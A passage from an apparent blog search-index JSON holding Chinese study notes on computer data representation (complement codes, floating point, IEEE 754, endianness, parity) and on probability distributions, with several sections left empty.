href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E5%8E%9F%E7%A0%81%E5%8F%8D%E7%A0%81%E5%92%8C%E8%A1%A5%E7%A0%81\" class=\"headerlink\" title=\"原码反码和补码\"\u003e\u003c/a\u003e原码反码和补码\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e原码:正数是其二进制本身;负数是符号位为1,数值部分取X绝对值的二进制。\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e反码:正数的反码和原码相同;负数是符号位为1,其它位是原码取反。\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e补码:正数的补码和原码,反码相同;负数是符号位为1,其它位是原码取反,未位加1。(或者说负数的补码是其绝对值反码未位加1)\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e移码:将符号位取反的补码(不区分正负)\u003c/strong\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e补码为什么是反码加1?因为它的目的就是为了把减法运算变成加法运算。用表举例子,加上8小时就等于减去4小时(从位置上来看)。二进制也是一样,比如4位二进制数,它的模值就是16,也就是10000。因此,一个数的补就是10000减去这个数,也就是这个数的反码再加1。\u003c/p\u003e\u003ch4 id=\"补码加减法\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E8%A1%A5%E7%A0%81%E5%8A%A0%E5%87%8F%E6%B3%95\" class=\"headerlink\" title=\"补码加减法\"\u003e\u003c/a\u003e补码加减法\u003c/h4\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e在做补码加减法时,只需将符号位和数值部分一起参与运算,并且将符号位产生的进位丢掉即可\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e补码加法公式\u003cbr/\u003e  [X+Y]补 = [X]补 + [Y]补\u003c/li\u003e\u003cli\u003e补码减法公式\u003cbr/\u003e  [X-Y]补 = [X]补-[Y]补 = [X]补 + [-Y]补\u003cbr/\u003e其中:[-Y]补称为负补,求负补的办法是:对补码的每一位(包括符合位)求反,且未位加1.\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"浮点数\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E6%B5%AE%E7%82%B9%E6%95%B0\" class=\"headerlink\" title=\"浮点数\"\u003e\u003c/a\u003e浮点数\u003c/h2\u003e\u003cp\u003e类似科学计数法的表示法:$F=M\\times 2^E$,$M$称为尾数,$E$称为阶码。\u003c/p\u003e\u003cp\u003e计算机中常见的浮点数存储方式为:\u003ccode\u003e数符 阶符 阶码数值部分 尾数数值部分\u003c/code\u003e。\u003c/p\u003e\u003ch3 id=\"编码表示\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E7%BC%96%E7%A0%81%E8%A1%A8%E7%A4%BA\" class=\"headerlink\" title=\"编码表示\"\u003e\u003c/a\u003e编码表示\u003c/h3\u003e\u003cul\u003e\u003cli\u003e尾数$M$必须是小数,用$n+1$位定点小数表示,可用原码、补码。\u003c/li\u003e\u003cli\u003e阶码$E$必须为整数,以$k+1$位有符号定点整数表示,可用原码、补码、移码。\u003c/li\u003e\u003cli\u003e浮点数编码位数为$m=(n+1)+(k+1)$\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"规格化浮点数\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E8%A7%84%E6%A0%BC%E5%8C%96%E6%B5%AE%E7%82%B9%E6%95%B0\" class=\"headerlink\" title=\"规格化浮点数\"\u003e\u003c/a\u003e规格化浮点数\u003c/h4\u003e\u003cp\u003e对尾数无限制可能使得存储空间利用不充分,因此使用规格化形式表示。\u003c/p\u003e\u003cp\u003e定义 将尾数(记为$M$)的绝对值限定在规定的数值范围内:$1/2 \\leq |M| \\lt 1$,这样的浮点数就是规格化浮点数。实现这一点很简单,下面的尾数以补码表示:\u003c/p\u003e\u003cul\u003e\u003cli\u003e$M \\geq 0$:$M=0.1\\times\\times\\times\\cdots\\times$\u003c/li\u003e\u003cli\u003e$M \\lt 0$:$M=1.0\\times\\times\\times\\cdots\\times$\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"浮点数溢出\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E6%B5%AE%E7%82%B9%E6%95%B0%E6%BA%A2%E5%87%BA\" class=\"headerlink\" title=\"浮点数溢出\"\u003e\u003c/a\u003e浮点数溢出\u003c/h3\u003e\u003ch3 id=\"IEEE754标准\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#IEEE754%E6%A0%87%E5%87%86\" class=\"headerlink\" title=\"IEEE754标准\"\u003e\u003c/a\u003eIEEE754标准\u003c/h3\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth align=\"left\"\u003e参数\u003c/th\u003e\u003cth align=\"center\"\u003e单精度浮点数\u003c/th\u003e\u003cth align=\"center\"\u003e双精度浮点数\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e浮点数长度\u003c/td\u003e\u003ctd align=\"center\"\u003e32\u003c/td\u003e\u003ctd align=\"center\"\u003e64\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e尾数长度$f$\u003c/td\u003e\u003ctd align=\"center\"\u003e23\u003c/td\u003e\u003ctd align=\"center\"\u003e52\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e符号位$s$\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e指数$e$长度\u003c/td\u003e\u003ctd align=\"center\"\u003e8\u003c/td\u003e\u003ctd align=\"center\"\u003e11\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch4 id=\"单精度浮点数\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E5%8D%95%E7%B2%BE%E5%BA%A6%E6%B5%AE%E7%82%B9%E6%95%B0\" class=\"headerlink\" title=\"单精度浮点数\"\u003e\u003c/a\u003e单精度浮点数\u003c/h4\u003e\u003cp\u003e$$\u003cbr/\u003eN=(-1)^S\\times 2^{e-127}\\times 1.f\u003cbr/\u003e$$\u003c/p\u003e\u003chr/\u003e\u003cp\u003eIEEE754可以表示规格化浮点数,也可以表示非规格化浮点数。它表示越接近0的数越精确,越接近正负无穷的数越不准确。\u003c/p\u003e\u003ch3 id=\"浮点数存储\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E6%B5%AE%E7%82%B9%E6%95%B0%E5%AD%98%E5%82%A8\" class=\"headerlink\" title=\"浮点数存储\"\u003e\u003c/a\u003e浮点数存储\u003c/h3\u003e\u003cp\u003e目前计算机主要推行小端存储:浮点数的四个字节从低位到高位分别存储在计算机内存地址的低位到高位。\u003c/p\u003e\u003ch4 id=\"大小端判断\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E5%A4%A7%E5%B0%8F%E7%AB%AF%E5%88%A4%E6%96%AD\" class=\"headerlink\" title=\"大小端判断\"\u003e\u003c/a\u003e大小端判断\u003c/h4\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003etype\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eunion\u003c/span\u003e{\u003c/span\u003e\u003cspan class=\"type\"\u003efloat\u003c/span\u003e a; \u003cspan class=\"type\"\u003echar\u003c/span\u003e b;} i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e i.a=\u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, i.b);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果输出1,则说明计算机是小端存储。\u003c/p\u003e\u003ch3 id=\"浮点数模型表示范围\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E6%B5%AE%E7%82%B9%E6%95%B0%E6%A8%A1%E5%9E%8B%E8%A1%A8%E7%A4%BA%E8%8C%83%E5%9B%B4\" class=\"headerlink\" title=\"浮点数模型表示范围\"\u003e\u003c/a\u003e浮点数模型表示范围\u003c/h3\u003e\u003ch4 id=\"思考题\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E6%80%9D%E8%80%83%E9%A2%98\" class=\"headerlink\" title=\"思考题\"\u003e\u003c/a\u003e思考题\u003c/h4\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/IMG_20230215_115634.jpg\"/\u003e\u003c/p\u003e\u003cp\u003e已知迷你754编码规则如上,求它的表示范围。\u003c/p\u003e\u003ch2 id=\"BCD编码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#BCD%E7%BC%96%E7%A0%81\" class=\"headerlink\" title=\"BCD编码\"\u003e\u003c/a\u003eBCD编码\u003c/h2\u003e\u003cp\u003e典型的有8421码,这四个数字是位权。还有非位权码,比如余3码,格雷码等。\u003c/p\u003e\u003ch2 id=\"非数值编码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E9%9D%9E%E6%95%B0%E5%80%BC%E7%BC%96%E7%A0%81\" class=\"headerlink\" title=\"非数值编码\"\u003e\u003c/a\u003e非数值编码\u003c/h2\u003e\u003cp\u003eASCII,GB2312,GBK,还有兼容Unicode-2的编码。汉字编码用了变长数据,技术上类似于霍夫曼编码。\u003c/p\u003e\u003ch2 id=\"校验码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E6%A0%A1%E9%AA%8C%E7%A0%81\" class=\"headerlink\" title=\"校验码\"\u003e\u003c/a\u003e校验码\u003c/h2\u003e\u003cp\u003e传输过程中,检验数据是否有丢失/错误的一种检验手段。\u003c/p\u003e\u003ch3 id=\"奇偶校验码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E5%A5%87%E5%81%B6%E6%A0%A1%E9%AA%8C%E7%A0%81\" class=\"headerlink\" title=\"奇偶校验码\"\u003e\u003c/a\u003e奇偶校验码\u003c/h3\u003e\u003cp\u003e只有一位校验位,在数据的最高位。它表示数据中包括校验位在内的位的1的个数是奇数还是偶数。前者校验位为1,后者为0。\u003c/p\u003e\u003ch3 id=\"CRC冗余循环校验码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#CRC%E5%86%97%E4%BD%99%E5%BE%AA%E7%8E%AF%E6%A0%A1%E9%AA%8C%E7%A0%81\" class=\"headerlink\" title=\"CRC冗余循环校验码\"\u003e\u003c/a\u003eCRC冗余循环校验码\u003c/h3\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/"},{"title":"第二章:随机变量及概率分布","time":"2023-02-04T04:15:20Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"一维随机变量\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/#%E4%B8%80%E7%BB%B4%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F\" class=\"headerlink\" title=\"一维随机变量\"\u003e\u003c/a\u003e一维随机变量\u003c/h2\u003e\u003cp\u003e是关于实验结果的变量。实验结果用一系列离散值表示的称为\u003cstrong\u003e离散型随机变量\u003c/strong\u003e,用连续值表示的称为\u003cstrong\u003e连续型随机变量\u003c/strong\u003e。一维表示随机变量只包含一个关于实验结果的变量。\u003c/p\u003e\u003ch3 id=\"离散型随机变量分布\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/#%E7%A6%BB%E6%95%A3%E5%9E%8B%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%88%86%E5%B8%83\" class=\"headerlink\" title=\"离散型随机变量分布\"\u003e\u003c/a\u003e离散型随机变量分布\u003c/h3\u003e\u003cp\u003e就是各个实验结果的概率分布情况。例如随机掷一个6面骰子,结果可能是1-6,而每一个结果的概率都是$\\frac{1}{6}$,即$P(X=1)=P(X=2)=\\cdots =P(X=6)=\\frac{1}{6}$。\u003c/p\u003e\u003ch4 id=\"二项分布\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/#%E4%BA%8C%E9%A1%B9%E5%88%86%E5%B8%83\" class=\"headerlink\" title=\"二项分布\"\u003e\u003c/a\u003e二项分布\u003c/h4\u003e\u003cblockquote\u003e\u003cp\u003e样本趋于无穷大情况下的超几何分布可以近似看作二项分布\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e每次实验的结果只有两个,概率分别为$p$和$1-p$。这分布表示多次实验的结果分布,例如抛$n$次硬币,最终正面朝上的次数为$m$的概率就可以用二项分布表示。\u003c/p\u003e\u003ch4 id=\"泊松分布\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/#%E6%B3%8A%E6%9D%BE%E5%88%86%E5%B8%83\" class=\"headerlink\" title=\"泊松分布\"\u003e\u003c/a\u003e泊松分布\u003c/h4\u003e\u003cp\u003e表示某种小概率事件发生的可能性。\u003c/p\u003e\u003ch4 id=\"超几何分布\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/#%E8%B6%85%E5%87%A0%E4%BD%95%E5%88%86%E5%B8%83\" class=\"headerlink\" title=\"超几何分布\"\u003e\u003c/a\u003e超几何分布\u003c/h4\u003e\u003cp\u003e这用于处理抽样中的无放回情况概率。\u003c/p\u003e\u003ch4 id=\"负二项分布\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/#%E8%B4%9F%E4%BA%8C%E9%A1%B9%E5%88%86%E5%B8%83\" class=\"headerlink\" title=\"负二项分布\"\u003e\u003c/a\u003e负二项分布\u003c/h4\u003e\u003cp\u003e?\u003c/p\u003e\u003ch3 id=\"连续型随机变量分布\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/#%E8%BF%9E%E7%BB%AD%E5%9E%8B%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%88%86%E5%B8%83\" class=\"headerlink\" title=\"连续型随机变量分布\"\u003e\u003c/a\u003e连续型随机变量分布\u003c/h3\u003e\u003cp\u003e连续型随机变量激就是之前说过的那种,事件结果是不可数正无穷的(比如在坐标系里随机丢一个钉子,其位置到原点的距离)。\u003c/p\u003e\u003ch4 id=\"正态分布\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/#%E6%AD%A3%E6%80%81%E5%88%86%E5%B8%83\" class=\"headerlink\" title=\"正态分布\"\u003e\u003c/a\u003e正态分布\u003c/h4\u003e\u003cp\u003e也叫高斯分布。\u003c/p\u003e\u003ch4 id=\"指数分布\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/#%E6%8C%87%E6%95%B0%E5%88%86%E5%B8%83\" class=\"headerlink\" title=\"指数分布\"\u003e\u003c/a\u003e指数分布\u003c/h4\u003e\u003cp\u003e?\u003c/p\u003e\u003ch4 id=\"威布尔分布\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/#%E5%A8%81%E5%B8%83%E5%B0%94%E5%88%86%E5%B8%83\" class=\"headerlink\" title=\"威布尔分布\"\u003e\u003c/a\u003e威布尔分布\u003c/h4\u003e\u003cp\u003e?\u003c/p\u003e\u003ch2 id=\"多维随机变量\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/#%E5%A4%9A%E7%BB%B4%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F\" class=\"headerlink\" 